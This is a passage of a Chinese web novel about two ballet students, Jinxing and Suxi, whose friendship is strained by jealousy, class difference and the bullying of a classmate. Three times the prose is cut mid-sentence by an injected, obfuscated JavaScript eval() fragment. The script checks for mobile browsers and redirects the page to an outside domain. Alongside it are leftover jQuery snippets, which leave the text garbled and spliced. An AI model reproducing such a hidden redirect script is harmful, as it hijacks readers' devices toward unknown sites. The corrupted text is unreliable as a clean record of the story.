“算了，不管她们了。我们快点去看伤口吧。” “一定很疼，我的珍星，好可怜。” 素熙搓着她的手，说着让人泛起鸡皮疙瘩的话。 珍星也抬手轻轻打了一下她的肩膀。 “别说这种奇怪的话，我觉得不用去了。” “为什么？” “因为，已经结痂了。” 为了证明自己不是在哄骗素熙，珍星挽起一点衣服，让她看见了肚子上的伤口。 真的已经结下了淡淡的痂壳。 素熙突然愣住了，表情怔得太古怪，让珍星也不免要问她。 “你怎么了？” 粉色的伤痕和浅红色的痂就这样明晃晃地印在了珍星的皮肤上。 少女并不是天生的白皮肤，但在后天的成长中，不知不觉从活泼变得内向，所有的爱好也跟着发生转变，她除了泡在练舞室，什么都不关心。 缺少了晒太阳的机会，所以变得苍白。 这是不健康的象征，可又是一部分所推崇的残缺美。这可真是不讲道理。 而素熙想到刚刚在更衣室看见的珍星的一节小臂。 出乎意料的是，这样沉默总给人一种孱弱感觉的少女。 素熙发现，珍星的手臂是很有力的形状。 于是，她产生了一种奇怪的想法，她当然知道这是一种不好的想法。 可大脑似乎不受控制了。 她想：如果代替伤痕印在珍星身上的，是自己的话，会怎么样呢？ “啊——我吗？我没事。” “我只是在想，我们明天去哪里玩比较好呢？” 不过，她很快就抛开了堪称变态的想法，转口提起了两人的初次“约会”。 “珍星平常有自己出去逛逛吗？” 素熙也不勉强珍星再去医务室。 这个时期的她可以说是十分的有教养，又或者说善解人意。 两个人坐在学校的长椅上，就地开始讨论。 时间并不长，因为珍星并没有赋予出门什么浪漫期望。 “没有呢，我只在回家的时候会离开学校去坐火车。” 所以接触最多的也只有火车站。 “不过，我妈前几天给我打电话，她让我去买一些新衣服。” 说到这里，珍星又低下了头。 “她说，不希望同学嘲笑我。” 但其实，同学们已经不会在嘲笑她了。 今天的事情让她意识到，她也正在成为一些人嫉妒的对象。 即使坠在嫉妒之后的词语是陷害，她也微妙地自豪着。 “呀！怎么能这样呢。” “怎么能有人会嘲笑我们珍星呢。” “你明明是最好的人呀。” 素熙又一次心疼起来，可对于珍星而言，这并不让她感动。 如果，珍星也拥有她的一切，她也能做到这样轻飘飘地说出这些话。 珍星心里那点自豪消失了，因为她突然有了一种想法。 也许被嫉妒，并不是因为自己本身，而是因为—— 素熙。 “买衣服的话，那明天珍星就跟我走吧！” “我保证把你打扮成大美女，当然你本来就很漂亮啦。” “说起来，我上次好像有看见店里面在卖友情文化衫。” 友情文化衫，也许就是最早的姐妹装。 “我们买一个穿穿看吧！” 然而，珍星又在素熙这样天真快乐的眼光中迟疑起来。 因为她想，就算她拥有素熙的一切，也许也不会变成这样开朗的人。 上一次真心实意的笑，是什么时候呢？ 珍星感到忧郁，在勉强作出笑意应下素熙的邀约的同时，心里涌上来的是想要离开的想法。 素熙并没有察觉到她的不开心，这也并不能怪她不够仔细。 因为珍星总是这样，哭和笑都一样的表情，像神秘的吉塞普人，流浪了数千年般。 “好啊，明天一起去......玩吧，我们。” 珍星用这句话作了总结，她将素熙送出校门口，挤出笑容和她挥手告别。 和满怀期待的素熙比起来，她心中更多的是一种烦恼。 如果没有答应就好了，此刻的她已经忘掉了答应素熙时的心情。 所以，她才忽略掉，最近一次真心的笑容，其实就发生在刚刚的舞台上。 和素熙对视的那一面。 也许是因为珍星并不想承认这一点，所以阴霾的故事正在渐渐拉开帷幕。 而她们不知道的是，最近在别的学校开始流传起了一个怪谈。 “你听过那个吗？” “什么？” “就是，有学生上楼的时候发现多出来一级台阶。” “那又怎么了，很可能是数错了吧。” “听说，有亲历者踩到多出来的楼梯后看见了奇怪的东西。” “什么奇怪的东西，啊——不会是那个吧？” 是什么呢？听说是一个因为学习压力太大跳楼身亡的学生的，鬼魂。 不过，这样的怪谈，只要有学生出事就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644418|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会更新版本。 比起恐怖，更多的是，让某些心虚的人，自投罗网。 现下，怪谈也只是怪谈，一切尚未发生。 而珍星正和素熙在东大门步行街，手挽着手地说着朋友间的话题。 “你喜欢什么颜色？”“你喜欢吃什么？”“有没有，喜欢的人呀？” 似乎朋友就是依靠分享秘密建立起来的关系。 而对于这个，素熙喋喋不休，珍星却鲜少发言。 “红色吧，我喜欢鲜艳的颜色。” “吃的，好像没有特别喜欢的。” “喜欢的人？这个的话，我得好好想一想。” 珍星的鲜少发言却做到了有问必答，而看见素熙被最后一个问题吸引的表情。 她狡黠一笑，突然靠近了素熙。 “你难道不知道，你在我们年级，特别有人气吗？” 素熙重重地挽住她的手，扭捏地回击她的追捧笑话。 “珍星！不要这样玩耍我啦！” “我是说真的呀，素熙你就是超有人气的。” “我好像还听见过低年级的学生说，你是她的女神哦。” 素熙因为珍星的话彻底红了脸，反应过来后更多的是高兴。 原来，珍星也一直在注视着她吗？ 而更让素熙雀跃的是，这样顽劣又生动的珍星，一定只有她一个人看到了。 其实仔细想想，珍星也许说的就是真心话。 素熙就是这样令人喜爱、羡慕的存在，只是爱与恨此消彼长。 对于珍星这样并不能很好地表达自我的人而言，嫉妒也是谎话，是衡量爱与恨的天平。 我越爱你也越恨你，于是我说我嫉妒你，我讨厌你。 时间越久，就越无法分割纯洁的爱与下流的恨，让人变成了鬼。 “诶，这里有家学生服装店，样式很新颖，我们去看看吧。” 进门挑选时，起初并没有很吸引自己的衣服。 手掌在一件件衣服之间来回翻找，直到在某件红色外套上停下。 手指最先感受到的并不是牛角扣的冰凉，而是素熙温热的手掌。 或许是因为学过钢琴，又或许是因为她本人就是纤细柔美的体型，她的手指也很细，很软和。 “这是我们之间的默契吧。” “我也觉得这件衣服会很适合珍星你呢！” 素熙的高兴并不作假。 而珍星也没有意识到，在这个无意的牵手中，惊喜的人除了素熙其实还有自己。 她是如此慢热又灵敏，在少女之间情感上是弱势者，偶尔展现出一些逗弄人的天赋。 却又在关于不好的、恶意的情绪上心细如发，以至于总觉得世界是坏的，她需要龟缩起来才能保护好自己。 任何试图靠近她，治愈她的人，得到的只有这世界教给她的坏。 素熙将衣服拿出来，就地为珍星穿上这件外套。 宽松休闲的版型在腰线上格外做了质感处理，穿上她的珍星像故事里的小红帽。 而素熙念念不忘，却是珍星乖乖抬手的样子。 她并不是喜欢听话的人或物，也并没有什么征服欲。 只是觉得，那个时段，乖乖配合自己的珍星，仿佛是属于自己的...... 素熙找不到一个确切的形容词。 但她脑子里又闪出了昨天在学校里看见珍星伤口时的想法。 如果代替伤痕印在珍星身上的，是自己的话，会怎么样呢？ 会很幸福吗？ 素熙不知道，但她突然感到跃跃欲试。 “好，不要乱动，我来帮你整理一下。” 素熙为珍星拨出夹在外套和卫衣中间的头发，推着她站在镜子面前。 然后佯装出夸张的表情。 “哦莫。快看看这个可爱的小红帽。” “难道是从天而降，给我的礼物吗？” 8. 劣根性 红色是热情，红色是危险。 红色是珍星身上那件牛角扣外套，而素熙是热度上头的牛犊，注定要冲上去。 珍星会是驯服她的斗牛士吗？ 还是，被牛角刺穿的可怜人。 又或者，珍星驯服的小牛另有其人。 “肥猪妹，你挡在这里干什么？” 佝偻的少女身形迟钝，准确来说是不敢动，保持着弯腰捡东西的状态。 “回你的圈里去拱你喜欢的大白菜吧。” 她想假装听不见，可令她感到无比窘迫的是，诚如这群身材纤瘦的女生嘲笑的那样。 她过分臃肿，以至于没办法弯下腰捡起自己掉下去的铭牌。 “哈哈哈哈哈——你跟她说这些做什么。” “我就是看不惯。” “凭什么她这样的人，能得到第一名。” 如果要为她十六年的人生写一本书，大概可以叫做《因为太胖所以成为团厌的日子》。 女生们对她的讨厌，一部分是因为生理上不喜她的肥胖，另一部分是心理上的嫉恨。 但你怎么可能愿意承认去嫉妒一头猪有才华。 于是又反过来将这份嫉妒包装成蔑视、欺凌，试图将她彻底踹进名为“废物”的深渊。 女生们终于一哄而散，她微微抬头，看见是同班的女生，她记得对方是班长，也常常在科系的表彰大会上见到她。 “还好吗，惠珠？”留着干练短发的班长走过来帮忙捡起她的铭牌，关切地询问。 头发乱糟糟的慧珠摇头，伸手接过自己的东西，她的发质很差甚至发黄。 没人意识到，她其实处于营养不良的状态。 肥胖，并不都是由营养过剩造成。有的人天生就是喝杯水也要浮肿的状态。 当然惠珠要更惨一些，先天的体质不好再加上后天受环境影响的自暴自弃。 除了雕塑之外，她能自由做的事情，只有吃，只有在吃东西的时候，大家才不会阻拦她。 虽然常伴随着讥讽。 “你还真敢拿？” “谁准你这头脏猪碰我手的。” 铭牌在空中划出痕迹，惠珠的手被重重拍打，假意关切的班长，很享受她此刻的样子。 眼里蓄满了泪水，被欺骗了又怎样。 完全就只是人形怪物，怎么配得到正常的待遇呢？ 班长威胁道：“惠珠呀，我觉得你应该退学。” “我觉得你应该去找一趟你的老师。” 突然出现的珍星站在她面前，阴沉沉地警告对方。 班长很不爽地反问：“你是谁？” “我已经把你刚才的行为报告给主任了。” “呀，你是谁，你有病吗？” “关你什么事，你管那个肥胖妹干什么？” “肥胖妹？为什么这样叫她？” 珍星不耐烦地眯了眯眼，似乎很看不惯对方的态度，也听不惯这样的说辞。 “我看你瘦得像一条银鱼干，那我应该叫你鱼干妹吗？” “可你明明不叫鱼干妹，你有名字吧。” 珍星回头看了一眼，摆脱危机的惠珠正小心翼翼地从口袋里拿出一张创口贴。 而受伤的素熙一脸开朗地低头。 “可以麻烦你帮我贴上吗？” “我用帮你别铭牌来回报你，可以吗？” 素熙一手拿着刚刚被这个伪善的班长丢掉的学生铭牌，一手捂着自己的头。 这就是珍星去告老师的原因。 被丢掉的铭牌正好击中了路过的素熙，两人还没有意识到发生了什么，下一秒就看见了走廊上的“大型欺凌”现场。 以伪善班长带头搞出来的恶行。 于是珍星站出来说了。 虽然，此刻她根本没空去找老师，站出来警告对方的话不过是纸老虎般的假话。 “你……” “崔英美——来一趟办公室。” “你——居然真的去找老师了，让我知道你是哪个班的，我也一定会多去找你的老师交流的，谢谢你了同学。” 幸而珍星将素熙送给自己的红色外套穿在外边，挡住了对方窥探的视线。 但其实，就算知道珍星的名字也无妨。 因为芭蕾系和雕塑系井水不犯河水，任你什么帮派、团体，隔了专业，总要有所顾忌。 崔英美，也就是带头欺负惠珠的女生离开之后，珍星胸有成竹的态度骤然一变，不顾人群的探究视线，大口呼吸起来。 而身后的惠珠不仅为素熙贴好了创口贴，还互相交换了姓名。 “我刚刚有看到铭牌上的信息，是雕塑系二年级A1班的金惠珠同学吗？” “很高兴认识你，我是舞蹈系A1班的朴素熙。” 素熙友善地伸出手，在惠珠还在迟疑的时候又主动握起她的手。 “我们是朋友啦。” 朋友？惠珠头一次听见这个词汇，从她人口中说出来，是给自己的。 在此之前，她的朋友只有屋子里的娃娃。 “我……我可以吗？” 惠珠很害怕自己又被骗，最开始的崔英美也是假装这样的态度和她说话。 结果却只是为了玩弄她。 然而，素熙重重点头，再次笑起来。 “当然啦，你很可爱耶。” 惠珠落荒而逃了。但她是红着脸跑走的。 等到素熙转头去追已经走了好几步的珍星时，却发现对方好像有些不开心，耷拉着脸。 这样说太夸张，虽然珍星时常摆出一张冰块脸，但素熙能感觉到，她现在不开心。 “哦哟，这位小姐，难道你是看见我交新朋友吃醋了吗？” 素熙从她身后，揽住珍星的肩膀，笑嘻嘻地探出头在珍星脸边开着玩笑。 她的想法其实很简单。 如果在珍星面前对惠珠的遭遇视而不见，一定会被觉得自己是个冷漠的人吧。 素熙还记得曾经在练舞室珍星向自己哭诉的一切，被女生们无缘无故或者说以莫名的偏见所欺负的那段日子。 珍星一定讨厌这些霸凌者，可怜着这些与她拥有相似遭遇的孩子们。 “不过，我们珍星要是在吃醋的话，是不是表示，你和我的关系更亲近啦？” 素熙说着肉麻的话，试图用这样的玩笑让珍星有所反应。 “美丽的小姐，不要不理我嘛。” “你是我最好的朋友，我发誓。” 素熙又跳到她面前，双手合十，虔诚地对她承诺。 珍星摇了摇头，被她这副夸张的嘴脸弄笑了，笑了一下之后又立马合上嘴巴，假装很严肃。 最后她说：“我没有吃醋，也没有生气。” “我只是很抱歉，刚刚没能为你做什么。” 珍星垂下眼，先一步走进了教室，没有再理会素熙。 其实她骗了素熙。 在看见素熙能这样大方地对待惠珠时，珍星的心里充满了嫉妒。 但她并不是在吃醋，这一点上，珍星并没有说谎。 令她真正嫉妒的是，素熙的完美人格。 素熙是可以随意为弱者出头不用在乎后果的人，她也是能在大家冷漠又嘲讽的目光下，真诚同惠珠说出“成为朋友”这种话的人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644419|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她是如此善良又正义，勇敢又大方。 下课时，素熙主动邀请珍星去打羽毛球。 珍星用练舞作为借口拒绝对方。 在看见素熙最后答应了别人的邀请去打球时，珍星的心里是轻松的。 她松了一口气。 还好，至少，素熙对于舞蹈的认真，并没有自己这么多。 珍星其实很早就单方面认识惠珠了。 因为很难看不见。 可珍星没有选择帮忙，她同其他人一样对惠珠避之不及，不想惹祸上身。 “我帮不了她，我连自己都顾不好” “不要花时间去操心别人的事情了，我只要跳好舞就可以了” 在素熙进入自己的世界之前，珍星一直是这样想的，她觉得自己没有错，她并没有主动去害人，只是没有站出来而已。 就算她站出来了，她也没有办法做到为惠珠出头，挡在惠珠前面。 她不是那种能无视一切的人。 而今天，她也并不是因为同情惠珠才站出来，是因为素熙受伤。 她和素熙关系好，金老师知道素熙受伤了，金老师会骂自己的。 苔藓实际上并不渴望阳光，而珍星在素熙面前，一次次地认识到自己是个多么冷漠、自私的人。 可这样的认知并不会让她反省，也许最初的时候她会有一些愧疚。 但如果一次次这样下去，总有一天，她只会厌烦，只会讨厌。 她果然，是唯一讨厌着素熙的人。 哪怕她们已经是朋友了。 因为想得太多而做错了动作，珍星的脚掌内能即使扳直，失去平衡的她重重砸在地上。 她没有叫出来。 但还是有人替她痛苦地大喊。 “珍星——” 提前结束打球的素熙，从小卖部买了新的果汁，结果刚走到练舞室就看见珍星跌倒的画面。 易拉罐在地上重重砸出声音，素熙却完全不管，她一脸担忧地冲过去扶珍星。 “很痛吧，我扶你去医务室吧。” “你都流眼泪了。” 素熙如临其境地扶着珍星，心疼的眼神毫不作假，她的关心来得热烈又及时。 她就像一阵及时雨，没有人会不感激她的雪中送炭，所以不怪惠珠这样的人在她死后会崩溃，不惜一切代价地许愿让她复活。 可是这样喜爱着怀念着素熙的人群里，是找不到珍星的影子的。 即使现在她泪流满面。 眼里中的确有对素熙的抱歉和感谢。 她抱歉自己对于素熙那样恶意的想法。 她感谢素熙对自己真诚的态度，素熙是一个好的朋友。 可是……可是，这些都不是珍星想要的。 “不、不要管我。” “去上课吧，素熙，我会自己去医务室。” 珍星推开了素熙，一瘸一拐地走出去。 “不要跟上来。” 她头也不回地要求素熙，阻止她跟上来的想法。 珍星也不知道自己想要什么。 她会为素熙疏于练舞有片刻的高兴。 可刚才完全能耽误素熙更多的时间。 当珍星意识到，只要她按照素熙想要的那样去命令素熙，素熙自己就会从舞蹈上自甘堕落。 因为她并不爱芭蕾，跳舞只是她人生中的一个选择，可有可无，并不需要为此拼命。 “我不需要你这样。” 珍星最终还是回了头，用埋怨的眼神这样看着一心担忧着她的素熙，没有做错任何事情的素熙。 因为，跳好芭蕾，是珍星唯一的出路。 9. 偏差情谊 善良本身是一种资本。 当珍星意识到这一点的时候，她的第一反应是茫然，她以为善良本该是一种自由。 事实却并非如此。 对于她而言，事情发生在很久以前。 第一次参加芭蕾舞比赛，她和父母一起整整卖了一周的鱼才赚足了前往首尔的费用。 比赛的服装是用妈妈的嫁妆改的，珍星知道妈妈很宝贝那些布匹，可是她们没有别的钱再去买一件新的表演服。 老师倒是愿意将自己曾经的演出服拿出来给她改一套，可无论珍星还是她的家人都不愿意这样。 “穷人执着什么骨气，真是的，我只是先借给你，用完了你要还回来的。” 母亲只是弓着腰，甚至不敢抬头看老师，她是那样怯懦却说出了让珍星一生也无法忘记的话。 “如果开了亏欠的头，就再也补不起来了。” “所以，我们才想着，也许珍星的人生能因为这个开一个好头。” 最后的结果是母亲用了一点布点缀在老师送来的服装上。 资金有限，珍星必须独自一人前往。 那一年，她十二岁。 满怀期待地坐船到了对岸，登上了前往首尔的火车，那座所谓的城市。 在水面上，她静静看着自己，脸上的妆容是老师提前为她画好的。 “等你到那边，肯定妆都花了。” “所以，你得戴上这个。” 穷人有穷人的办法，老师拿出一张黑色面纱，罩在她的脸上，将原本厚重的妆容变成了神秘女郎的面孔。 “火车的时间很紧，下了火车就立刻打车过去，知道吗？” 老师代替了母亲的位置，细细嘱托的同时，也从更加专业的角度为她打气。 “你并不比那些含着金汤匙出生的人要差，至少在我见过的人之中，你是最有天赋的。” “宋珍星，给我给你的家人，给你自己，捧一座奖杯回来，知道了吗？” 老师笑着抚摸她的头，打趣着说。 “要是灰尘仆仆地回来，就不配做我的弟子了。” 珍星那时，是意气风发的，满怀期待的。 她要拿到冠军，要用冠军的奖金给母亲重新买一块红布，要更亮更滑更软的。 可惜，老师一语成谶。 回来的珍星，已经不仅仅是一句狼狈可以总结的了，她宛如水鬼上岸。 脸上的妆容乱作一团，那条裙子也破败不堪，珍星一定经历了很不好的事情。 可她却没有哭诉一句话，反而跪在老师的面前，恳请老师再给她一次机会。 “对不起，我没有拿到任何名次……” “我发誓，我会更加努力地去做，请您不要把我赶出去。” 原来她把老师的话当了真。 “珍星呐，你是我最得意的学生，我不会放弃你的。” “但你要告诉我，一路上你发生了什么？” 平时严厉的老师变得很温柔，珍星跟着她去到了她家，老师让她洗了个澡，拿出自己的睡衣给她穿。 “不用害怕，把一切都讲给老师听。” “是秘密，我就替你保守，是痛苦的事情我就教你排遣的方法……” “老师，我是不是，不配做好事？” 珍星问了这样一个问题。 抵达首尔后，她听话地打车前往目的地。 一开始很顺利，没一会儿就到达了比赛定下的剧院门口。 步行进去的途中，她被侧道的声音所吸引。 “你胖成猪了，怎么还要在外面乱晃？” “没有人的时候，你会悄悄在地上用四肢爬行吗？” “一定会的吧，那样很方便。” 高大却像气球一般的身形，被其他小孩围在中间的那个女孩，就这样低着头承受其他小孩的恶意。 那一年的珍星，是一个村里的狗咬了鸡都会上门替公鸡找狗讨公道的孩子。 见到这一幕，怎么能忍。 当即就冲上去推开其他孩子。 “你们不能这样说她。” “你是谁？” “你跟她是一帮的吗？” “那我们也讨厌你。” 小孩子的喜怒哀乐就是这样，比成人世界更喜欢拉帮结派。 等到珍星终于将女孩拉出来的时候，她已经一团糟了，面纱无翼而飞，裙子也变得破破烂烂。 甚至还有其他人泼的面粉鸡蛋。 “你没事吧？” “没……没事。” “对不起，我害了你。” 珍星需要踮起脚才能看清的女孩子，明明拥有这样压倒性的优势，却显得这样弱小。 这让她萌生出一种责任感。 安慰对方。 “你不要怕她们，你比大家都高，应该是她们怕你才对。” “怕我？我不喜欢这样。” 高女孩说：“我不想怕她们，也不想她们怕我，我想和她们做朋友。” “可是，我太胖了。大家都不喜欢我。” 珍星想也不想地伸出手，拉住她的手。 “我和你做朋友，我喜欢你。” “你其实一点也不胖，我妈妈说了，要长成你这样，身体才健康。” “真、真的吗？” 珍星清楚地看见对方的眼睛亮了起来。 “对呀。” 她重重点头。 “那我们是朋友了。” 珍星拉着她的手。 “我带你去看我比赛。” 兴致勃勃的话在门口停止。 门卫拦住了她们。 “不好意思小朋友，流浪儿不可以进入这里哦。” 因为两个人的狼狈模样，所以被当做了流浪孩子。 珍星努力拍干净自己的裙子想要证明自己不是什么野孩子，而是参加比赛的人。 可高大的保安用一种她看不懂的目光看着她，珍星不懂，却产生了逃跑的冲动。 后来她才在课本上学到一个词汇。 叫做，无地自容。 “我有新的衣服，我回家帮你拿新裙子来！” 好在，她的新朋友对她伸出了援手。 珍星满怀期待地在剧院门口等着她。 直到太阳落山，直到陆续有已经表演完的选手从里面出来，直到，她听见了里面的人在叫冠军的名字。 “妈妈，那个第一名好厉害。” “我什么时候才能像她一样厉害呀。” 珍星伸出手拉住那个小女孩，立即被她的母亲当成野孩子推开。 “去去去，哪里来的流浪儿。” “别碰我家孩子。” 珍星没有计较这种蔑视，她小声地问对方。 “对不起，对不起，我只是想知道，冠军叫什么名字呀。” “诶，这个的话，我不记得了。” “好像是什么熙，素熙？簇熙？” 错过了比赛，错过了证明自己的一次机会。 她不知道该去哪里，只能在下午的侧道上坐着，一边坐，一边等着她的朋友。 珍星想，也许是朋友被自己的家人扣在了家里，就像有时候她去找小花玩，小花被妈妈关在家里那样。 又或许，在来的路上，她又被欺负了。 可是…… “可是，老师如果我不帮她，我就不会错过比赛了，是这样的吧。” 如果没有多管闲事的话，她就能完成自己定下的目标，也许她会有一个新的开始。 作为比她年长的人，老师听后只是问她：“可是，如果你没有那么做的话，你回来会不会就睡不着觉了，你做梦都会记得她被欺负的样子吧？” 珍星果然沉默了。 但她远比一般的孩子要敏感。 只是在首尔短短待的一点时间里，她就已经饱尝人间冷暖，首尔是个不纯粹的地方。 天没有釜山蓝，水没有釜山清。 可是那里很大，能盛下一个人的欲望，无数个人的欲望。 “老师，如果你问我有没有后悔。” “我会说后悔。” 当所谓的冠军在剧场里带来一出堪称完美的表演时，没人知道，珍星在侧道上也跟着音乐声翩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644420|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翩起舞。 倘若有一位舞蹈家经过，哪怕只是一个普通人路过那里，也一定会为她所惊叹。 可是没有，芭蕾舞是需要被看见的。 “如果不被看见的话，就没有任何意义。” 而被她捡到奖杯的主人教会了她一个道理。 善良需要资本，像她这样的人，并不具备善良的条件。 对于对方而言，一个可有可无的奖杯，对于珍星而言，是会让她下跪也要求来的机会。 真正开朗的孩子，从来都不是珍星。 “没关系的珍星，你一点也不差。” “如果你真的这么在意这次比赛。” “那就将冠军的名字贴在床头，从今以后每次比赛，你都看着她，记得这一次。” 老师越柔和，越不在意，珍星的内心就越矛盾。 究竟是真的在安慰她？ 还是老师也知道，她并没有好到能完胜其他人。 但她点头了，依老师所言，将这位冠军的名字写在纸条上，贴在床头。 这习惯被她从家里带到了学校。 于是，第一次爬窗来找珍星的素熙看见她床头的纸条，显得无比兴奋。 “呀，我们珍星原来一直在床头贴我的名字吗？” 素熙将她扑在床上。 “你原来，这么喜欢我吗？” “平时完全看不出来呀。” 珍星那一瞬间感到提心吊胆，等到素熙说出这样的话时，虽然嘴上跟着打哈哈，心里却在自嘲。 朋友吗？ 如果你还记得我的话，就应该知道，我们做不了朋友的，素熙。 你是我的敌人，是我嫉妒的对象。 你是善良的化身，而我是后悔的卑鄙者。 素熙决定来找珍星其实是一个很偶然的决定。 母亲忙于事业，今天又将她一个人丢在家里，闲来无事的素熙决定整理自己的房间。 实际上是将所有东西拿出来丢在床上，一件件看过去，然后再一次胡乱地塞回床下。 至少这样，显得她有事可做。 她原本想跟珍星打电话。 却想起她还没有珍星的手机号码。 不过素熙并没有感到伤心。 因为她知道，是因为她们自从成为朋友之后，就几乎形影不离，所以才没有时间用电话交流。 只是今天，她格外孤单。 所以更想要联系珍星。 手上的老物件一件又一件，当拿起十二岁那年第一次获得的冠军奖杯时，素熙眼前仿佛又出现那只朱雀。 那夜看不清的女孩，时至今日，似乎有了正脸，是珍星的模样。 虽然并没有去确认，但素熙有一种预感，就是珍星。 “原来，我们这么早就遇见了。” “是一次很美好的相遇，对吧？” 素熙的手划过奖杯，在刻着自己名字的地方，她用手指比划着珍星的名字。 “你为我跳舞，你让我再次喜爱上芭蕾。” “你拯救了我，是上帝派给我的天使。” 素熙并不信教，因为上帝并没有在从前让她找到珍星。 可是她觉得天使这个说法实在太美。 所以在这五秒钟，她信上帝。 屋子外的月亮很圆，是个该团圆的日子，可她和珍星都呆在孤独的房间里。 素熙看着月亮，突然感觉，仅仅是和珍星看着同一个月亮是远远不够的。 她们之间的缘分，她们之间的友谊。 她对珍星的想念，让她想要立刻见到对方。 “所以，我来找你啦。” “我实在太想你，完全等不到明天上学。” 素熙穿上了珍星的睡衣，体型相似的两个人，站在镜子前，竟也有双胞胎的感觉。 珍星恍惚看着她，想着，如果我能像你一样该多好。 素熙也在愣神，她看着被自己抱着的珍星。 穿着珍星睡衣的她，正在抱着珍星。 仿佛那条曾经出现在珍星身上的粉色疤痕。 那样紧密地贴在一起。 10. 热爱与真爱 “要接受他的告白吗？” 珍星的声音响起，这让素熙注意到自己手中那束红玫瑰。 好鲜艳，可她第一时间想到的是珍星的那件牛角扣大衣，那样的红色才值得铭记。 “珍星觉得呢？” “我？” 可是素熙并没有直接丢掉这束花，记忆流转到几分钟前。 提着为珍星带的早餐，素熙很满意自己挑选的粉红色餐盒。 可爱得像是她这位总是别扭的新朋友。 然后就在离校门口不远的地方，她被拦住了。 一个男生捧着一束花塞在她的怀里，嘴里哆嗦出一句“我喜欢你”，低着头便没了后续。 玫瑰花素熙收下了，挑了中间的一支送给对方。 “谢谢你的喜欢，也希望你今天能有个好心情。” “现在，快回到你的学校吧。不要迟到啦。” 素熙的举止优雅又亲切，落落大方的样子让周围的人熄灭了起哄的心思。 大家都在夸她，漂亮、善良又得体。 虽然拒绝了对方的告白，却没有任何人伤心。 就连男孩也呆呆握着她递来的一枝花，嘴里念叨着。 “这样美好的人，的确是我不能肖想的。” 可是大家口中好得犹如加上了一层滤镜的素熙，却在抬头看见校园楼梯上的珍星时，生出了片刻的心虚。 她当然知道没人会误会她，却想着一定要对珍星解释。 果然，当她朝着珍星小跑过去时，珍星没有和往日一样等着她。 素熙在楼梯间拦住了她。 “珍星！” “早餐！今天是新的东西！” 素熙高举着一只手露出了粉色食盒，但她的身姿有些别扭，这都是因为另外一只手里的玫瑰花束所导致的。 好像下一秒，她就会站不稳跌倒，摇摇晃晃的样子，终究是引来了珍星。 珍星向她走过来，扶稳了她的手。 “注意安全。” “我想要快点让你尝尝我的手艺。” 素熙享受着珍星为她整理衣服的片刻时光，恍惚地觉得，她们就像一家人。 是朋友，是姐妹，是爱......人，莫拉古？ 素熙的身体颤抖了一下，玫瑰花跌落在地面上。 这样奇怪的动静让珍星也对她露出了疑惑的表情，但很快，珍星就蹲下来替她捡起一支支花。 “不舒服吗？”珍星问她。 素熙呆呆摇头，又点了点头。 她脑子里为什么会冒出那个词汇呢？ 低头看着珍星，如此珍惜地捡起花，她脑子里浮现出刚才被告白的场景。 “素熙......花......” 被聚拢在一起的花，被珍星用自己的发绳捆在一起，然后伸向了素熙。 “不接下吗？” 珍星蹲在地上，举着花，被挡住视线的她看不见素熙的表情。 侧头想要去看对方的状况时，手中的花就被拿走了。 对于素熙而言，这束花突然有了香味，来自于珍星的发绳，一点点茉莉的香味。 是她和珍星上次出去逛街时，她为珍星挑选的味道。 花也突然有了颜色，如今仍是料峭春寒，虽然是春天的尾巴，但也足以让有些怕冷的珍星继续穿上那件红色外套。 这一切的一切都足以让素熙回不过神，但她并不知道此刻笼罩在心头的感觉究竟是什么。 也许她只是太喜欢珍星这个朋友了。 而珍星却觉得她抱着花，也许是还在想刚才那场告白，素熙对花爱不释手，于是她也顺其自然地问。 “你很喜欢他吗？” “要接受他的告白吗？” 珍星打开了素熙的餐盒，吃着为她做的早餐，神情自然地问素熙。 朋友之间发生这样的话题，再正常不过了吧。 之前低年级的小学妹也曾试图同素熙聊起这个话题。 当时听来只觉好笑，为什么一定要觉得她喜欢什么，爱好什么，曾经得到的温暖是来自一个男生呢？ 有的人从小没了父亲于是会渴望这种情感。 但对于素熙而言，是因为她的父亲对于母亲而言没有了价值，所以她们才会离婚。 也就是说，父亲是一种没有价值的角色。 “没有价值的东西，应该趁早抛开，不然就会被拖累。” 母亲牵着小小的素熙从冷冰冰的房子里离开的时候，是个艳阳天。 所以母亲是笑着对她说出这句话的。 “而且，他也别想拿走我的任何东西，房子车子，还是钞票和名声地位。” 长大以后再想起这一天，素熙才明白，原来冰冷冷的房间是监狱。 没有价值的父亲会在这里过完他的一生，因为他是骗子是坏蛋。 于是，素熙对于男生们没有恶感却也不会产生幻想。 “擦亮你的眼睛，这些小男生长大以后说不定就是你那个混蛋爹的样子。” 第一次被告白的时候，母亲这样对她说了。 这一切的一切足以让她对“爱情”两个字感到困惑的同时又不屑一顾。 可是—— “珍星觉得呢？” 素熙觉得很奇怪，她觉得珍星不应该对这些事情这么平静。 